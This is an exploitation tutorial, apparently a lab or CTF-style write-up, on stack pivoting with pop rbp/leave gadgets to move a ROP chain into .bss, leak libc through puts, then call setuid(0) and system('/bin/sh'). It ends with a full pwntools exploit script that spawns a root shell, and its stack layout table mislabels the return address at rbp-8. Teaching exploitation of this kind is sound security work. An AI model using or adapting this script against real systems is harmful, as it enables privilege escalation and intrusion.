Stackpivot to leak libc
What is stackpivot?
Stack pivoting is a exploitation technique that allows us to move the stack pointer (RSP) to a different memory location of our choosing. Think of it as "relocating" our stack to a new address where we have more control or space.
Imagine you're working at a very small desk (your original stack) that can only hold a few papers. You need to work with many more documents than can fit on this desk. Instead of being limited by the small desk space, you decide to move your work to a large conference table nearby (the .bss section). This is essentially what stack pivoting does - it lets you "move your workspace" to a larger, more convenient location where you have room for all your materials.
Just like how you'd still need a way to get back to your original desk, the program needs carefully crafted instructions to manage this "workspace relocation" without crashing.
Why do we need stack pivoting?
There are several scenarios where stack pivoting becomes crucial:
- Limited stack space for our payload
- Stack protections preventing traditional buffer overflows
- Need for a larger ROP chain than the available stack space
- When we can only partially control the stack but have write access elsewhere
How does stack pivoting work?
The basic mechanism involves:
- Finding a location we can write to (often .bss or heap)
- Moving the stack pointer (RSP) to point to our controlled memory
- Continuing execution from our new "fake stack"
Let's break this down in detail:
Initial Memory Layout
Stack: .bss (0x414080):
[rbp+8] -> 8 bytes [Full input stored here]
[rbp] -> 8 bytes [Up to 4096 bytes available]
[rbp-8] -> 8 bytes
The Pivot Gadgets
We use two critical gadgets:
pop rbp; ret # Loads our target address into RBP
leave; ret # Equivalent to: mov rsp, rbp; pop rbp
When executed, this sequence:
- Loads our chosen address into RBP
- The
leave
instruction moves RBP into RSP - Our stack is now "pivoted" to the new location
The Pivot Chain
Here's how the pivot works step by step:
rop_chain_pivot = flat(
POP_RBP, # Load address into RBP
BSS_ADDRESS + 0x18, # Point to .bss + 24 bytes
LEAVE_RET, # Move stack to new location
RET # Alignment
)
When executed:
pop rbp
loadsBSS_ADDRESS + 0x18
into RBPleave
instruction:- Moves RBP into RSP (points stack to our .bss location)
- Pops new RBP from that location
- Program continues executing from our new "stack" in .bss
Memory After Pivot
Before pivot: After pivot:
[Stack] [.bss]
Limited to 24 bytes -> Full payload available
ROP chain executes from here
This technique is particularly powerful because while only 24 bytes get copied to the stack, our full payload remains intact in .bss. By pivoting the stack pointer to .bss, we can execute our complete ROP chain from there.
A common stack pivot sequence uses these two gadgets:
pop rbp ; Load our target address into RBP
ret ; Return to our next gadget for example 0x414080
leave ; Equivalent to: mov rsp, rbp; pop rbp
ret ; Continue execution
We will use this sequence to pivot the stack to a writable section of memory.
When executed, this sequence:
- Loads our chosen address into RBP
- The
leave
instruction moves RBP into RSP - Our stack is now "pivoted" to the new location
This is useful when you want to leak libc or are limited by the stack size.
Example case of a exploit through stackpivot
This application reads input from stdin and writes 24 bytes to .bss and the rest to the stack.
When we set a breakpoint on read@plt
we can see that the first argument $rdi is 0x0
and the second argument $rsi is 0x0000000000414080
, and the third argument $rdx is 0x0000000000001000
.
$rsi is the address of the .bss section and $rdx is the size of the buffer.
read@plt (
$rdi = 0x0000000000000000,
$rsi = 0x0000000000414080 → 0x0000000000000000,
$rdx = 0x0000000000001000
)
Input the following to the application to see the output in the .bss section:
aaaaaaaabbbbbbbbccccccccdddddddd
Observe the stack on the ret of the functions with x/10gx 0x414080
this is the section.
If we do the same thing but check the stack on the return function we can see that only 24 bytes are copied from .bss to the stack, while our full input remains in the .bss section.
Stackpivot to leak libc
To leak libc we need to first pivot the stack to a writable section of memory. We could leak libc (24 bytes) but we don't have enough space to return to the main or _start function which are 8 bytes, which is too much.
We can use the stackpivot to first pivot the stack to a writable section of memory and then leak libc.
Understanding the Vulnerable Function
Let's analyze the decompiled assembly of the vulnerable function (shown in IDA Pro's disassembly view):
- decompiled assembly code of the vulnerable function
What is memcpy and .bss?
Before diving into the vulnerability, let's understand two key concepts:
memcpy
memcpy
is a C function that copies a block of memory from a source location to a destination location:
- Syntax:
memcpy(destination, source, number_of_bytes)
- It performs a direct byte-by-byte copy
- No bounds checking is performed, which can lead to buffer overflows
- In our case, it copies 24 bytes from .bss to the stack
.bss Section
The .bss section is a segment in the program's memory that:
- Contains statically-allocated variables that are not explicitly initialized
- Is writable during program execution
- Is initialized to zero when the program starts
- Typically has a fixed size determined at compile time
- In our example, it serves as temporary storage for our input before it's copied to the stack
Vulnerability Analysis
The vulnerability exists due to two key operations:
-
Initial Read:
- Reads up to 4096 bytes (
0x1000
) from stdin - Stores this input in .bss section at
0x414080
- Reads up to 4096 bytes (
-
Stack Copy:
- Copies 24 bytes (
0x18
) from .bss to stack - Destination is 8 bytes above saved rbp
- This creates our stack overflow condition
- Copies 24 bytes (
Memory layout after input processing:
Stack:
[rbp+8] -> First 24 bytes of our input
[rbp] -> Saved RBP (can be overwritten)
[rbp-8] -> Return Address (can be overwritten)
.bss (0x414080):
[+0x00] -> Our complete input (up to 4096 bytes)
Exploitation Strategy
This vulnerability actually gives us two advantages:
- Our complete payload is preserved in .bss
- We can control the stack through the memcpy overflow
When we input a pattern like:
"A" * 8 + "B" * 8 + "C" * 8 + "D" * 8
The memory layout becomes:
.bss (0x414080):
[+0x00]: AAAAAAAA
[+0x08]: BBBBBBBB
[+0x10]: CCCCCCCC
[+0x18]: DDDDDDDD (and continues...)
Stack after memcpy:
[rbp+8]: AAAAAAAA
[rbp]: BBBBBBBB (overwrites saved rbp)
[rbp-8]: CCCCCCCC (overwrites return address)
Visualized:
Input payload: AAAAAAAA BBBBBBBB CCCCCCCC DDDDDDDD EEEEEEEE FFFFFFFF
|____________24 bytes___________|
In .bss:
[Full payload preserved]
AAAAAAAA BBBBBBBB CCCCCCCC DDDDDDDD EEEEEEEE FFFFFFFF
On stack (after memcpy):
[Only first 24 bytes]
AAAAAAAA BBBBBBBB CCCCCCCC
First stage of the exploit chain:
Because our full payload remains in .bss, we can:
- Use the stack overflow to pivot to .bss
- Execute our complete ROP chain from .bss
- The chain remains intact as it wasn't truncated by memcpy
# First stage: Stack pivot
rop_chain_pivot = flat(
POP_RBP,
BSS_ADDRESS + 0x18, # Point past the 24 bytes that get copied
LEAVE_RET,
RET
)
# Second stage: Leak chain (stored in .bss)
rop_chain = flat(
POP_RDI,
elf.got['puts'],
elf.plt['puts'],
elf.symbols['_start']
)
# Send complete payload
io.sendline(rop_chain_pivot + rop_chain)
1. Perform a stackpivot
One of the most common gadgets to pivot the stack is pop rbp; ret
and then leave; ret
.
Which is actually
pop rbp; ret
mov rsp, rbp
pop rbp; ret
Which enables us to pivot the stack to the .bss section.
pop rbp; ret
0x414080 ; .bss section where the stack is pivoted to
mov rsp, rbp ; move the value of rbp to rsp, this puts 0x414080 from the .bss section into rsp
pop rbp; ret
This is the rop chain to pivot the stack to the .bss section.
In this case we are using 0x414080
(BSS_ADDRESS) as the address to pivot to. The + 0x18
is to jump 24 bytes further, otherwise we would land in pop rbp and we need to land into pop rdi.
rop_chain_pivot = flat(
POP_RBP,
BSS_ADDRESS + 0x18, #so we jump 24 bytes after this output right to POP RDI puts
LEAVE_RET,
RET
)
2. Leak libc
More info about the rop chain can be found in the leak libc through rop blog. Now we can leak libc by calling puts.
rop_chain = flat(
POP_RDI, # Set up the argument for puts
elf.got['puts'], # Address of `puts@got` (leak target)
elf.plt['puts'], # Call `puts@plt` (leaks `puts` address)
elf.symbols['_start'] # Restart the binary after leaking
)
io.sendline(rop_chain_pivot + rop_chain)
0x4140a0 - 0x414080 = 0x20 = 32 bytes
3. Go back to the _start function and send the second rop chain
Now we need to go back to the _start function and run the program again. Now that we have have the base address of libc we can use it to get the address of /bin/sh
, the address of system
and the address of setuid
.
Inspect the stack on the second ret function and observe that the second rop chain is copied to the stack.
The first part of the rop chain is the pivot again to the .bss section and the second part is the rop chain to set the setuid to 0 and to get a root shell.
4. Execute the second rop chain
Now we can first set the setuid to 0 (root) and then run the shell by calling system("/bin/sh")
.
rop_chain_pivot2 = flat(
POP_RBP,
BSS_ADDRESS + 0x18,
LEAVE_RET,
RET
)
shell_chain = flat(
POP_RDI,
0x0, #root
SETUID, #libc.sym["setuid"]
RET,
POP_RDI,
BINSH, #next(libc.search(b"/bin/sh"))
SYSTEM #libc.sym["system"]
)
io.sendline(rop_chain_pivot2 + shell_chain)
Exploit script
Click HERE to expand the script
from pwn import *
exe = "/stackpivot-libc"
elf = context.binary = ELF(exe, checksec=True)
context.clear(arch="amd64")
context.log_level = "info"
context.terminal = ["tmux", "splitw", "-h"]
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
# GDB debugging script
gdbscript = """
"""
io = start()
# Gadgets (identified using ROPgadget or similar tools)
POP_RDI = 0x401413 # pop rdi; ret
RET = 0x40101a # ret (for stack alignment)
POP_RBP = 0x4011bd
LEAVE_RET = 0x4012ec
# Address of writable `.bss` section (determined using `readelf`)
BSS_ADDRESS = 0x414080 # Starting address of `.bss`
##### Step 1:the pivot #####
rop_chain_pivot = flat(
POP_RBP,
BSS_ADDRESS + 0x18, #so we jump 24 bytes after this output right to POP RDI puts
LEAVE_RET,
RET
)
rop_chain = flat(
POP_RDI, # Set up the argument for puts
elf.got['puts'], # Address of `puts@got` (leak target)
elf.plt['puts'], # Call `puts@plt` (leaks `puts` address)
elf.symbols['_start'] # Restart the binary after leaking
)
io.sendline(rop_chain_pivot + rop_chain)
io.recvuntil(b'Leaving!\n')
leak = u64(io.recvline()[:-1].ljust(8, b'\x00'))
log.success(f"Leaked puts@libc: {hex(leak)}")
libc.address = leak - libc.symbols['puts']
log.success(f"Libc base address: {hex(libc.address)}")
BINSH = next(libc.search(b"/bin/sh"))
SYSTEM = libc.sym["system"]
SETUID = libc.sym["setuid"]
## Pivot 2
rop_chain_pivot2 = flat(
POP_RBP,
BSS_ADDRESS + 0x18, #so we jump 24 bytes after this output right to POP RDI puts
LEAVE_RET,
RET
)
shell_chain = flat(
POP_RDI,
0x0,
SETUID,
RET,
POP_RDI,
BINSH,
SYSTEM
)
io.sendline(rop_chain_pivot2 + shell_chain)
io.interactive()